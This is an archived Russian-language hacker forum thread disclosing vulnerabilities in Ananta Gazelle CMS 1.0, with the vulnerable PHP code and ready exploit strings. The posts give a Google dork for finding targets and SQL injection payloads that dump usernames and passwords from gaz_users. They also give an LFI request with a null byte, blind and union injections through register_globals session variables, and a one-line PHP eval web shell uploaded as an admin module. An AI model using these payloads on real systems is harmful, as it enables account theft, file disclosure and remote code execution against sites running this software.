PDA

Просмотр полной версии : Уязвимости Ananta Gazelle


Dimi4
22.04.2009, 19:07
Ananta Gazelle


Product : Ananta Gazelle
Dork : "CMS: Ananta Gazelle"
Site: http://www.anantasoft.com/
Found by: Dimi4
Date : 22.04.09
Пробегся быстренько по коду:
Довольна интересная скуль. Рассмотрим user.php

$user = $_GET["user"];
$q = mysql_query("select name from ".$tableprefix."users");
while ($k = mysql_fetch_array($q, MYSQL_ASSOC)) {
$userlist[$k{'name'}] = 1;
}
foreach ($userlist as $name => $value) {
if ($user == $name) {
$q = mysql_query("select name, email, joindate, showemail from ".$tableprefix."users where name='".$user."'");
while ($k = mysql_fetch_array($q, MYSQL_ASSOC)) {
$content = "<h3>User profile: ".$k{'name'}."</h3><div>
<p>Username: ".$k{'name'}."</p>";

Что же делает наша цмска? А она чтобы обезопасится от скули берет всех юзеров с базы а потом чекает с гетом) Ну и ладненько. Посмотрев на register.php понимаем что никакой фильтрации там нет! Думаю вы поняли к чему я веду.
Регестрируемся на сайте как:
a' union select concat_ws(0x3a,name,pass),2,3,4+from+gaz_users --

А далее:
user.php?user=a' union select concat_ws(0x3a,name,pass),2,3,4+from+gaz_users --

Sql-inj:
forgot.php
$users = mysql_query("select name from ".$tableprefix."users where email='".$_POST["email"]."'");
while ($user = mysql_fetch_array($users, MYSQL_ASSOC)) {
POST: email=e' union select concat_ws(0x3a,name,pass),2,3,4,5,6,7,8,9+from+gaz _users --
Раскрытие пути: (Вызываем скрипт из папки /admin/)

http://localhost/Ananta_Gazelle1.0/admin/edituser.php

Sql-inj
remove.php

$modules = mysql_query("select name, file from ".$tableprefix."modules where number='".$_POST["number"]."'");
while ($mod = mysql_fetch_array($modules, MYSQL_ASSOC)) {
$name = $mod{'name'};

POST: number=1' union select concat_ws(0x3a,name,pass),2,3,4,5+from+gaz_users --

Заливка шелла: Admin -> Create Module:
Name xek;
Code: <?php if(get_magic_quotes_gpc()) { eval(stripslashes($_GET['ev'])); } else { eval($_GET['ev']); } ?>

.:[melkiy]:.
09.05.2010, 22:35
Anantasoft Gazelle CMS 1.0



LFI
need: mq=off


file: index.php

$templatepath = include_once("modules/template.php"); // retrieve the correct template

......

include_once($templatepath."/index.php"); // add the template


file:modules/template.php

if (isset($_GET) && isset($_GET["template"]) && $_GET["template"]) {
if ($admin == 1) {
return "../templates/".$_GET["template"];
} else {
return "templates/".$_GET["template"];
}


result:
GET /index.php?template=../../[local_file]%00


blind SQL-Injection
need: mq=off, rg=on

file: modules/login.php

if (isset($_SESSION["name"]) && $_SESSION["name"]) {
$users = mysql_query("SELECT name FROM ".$tableprefix."users WHERE name='".$_SESSION["name"]."'");
if (!mysql_fetch_array($users, MYSQL_ASSOC)) {
unset($_SESSION["name"]); // the user that somehow (2 website on same host using same session...) got logged in does not exist
}


result:
GET /index.php?_SESSION[name]=admin'+and+substring(version(),1,1)=5+--+


SQL-Injection
need: mq=off, rg=on

file:change.php

if (isset($_SESSION["name"]) && $_SESSION["name"]) {
$user = $_SESSION["name"]; // get user name to auto fill-in current user data
}
$q = mysql_query("select number, name, email, admin, active, showemail from ".$tableprefix."users where name='".$user."'");


result:
GET /change.php?_SESSION[name]=1'+union+select+1,version(),3,4,5,6+--+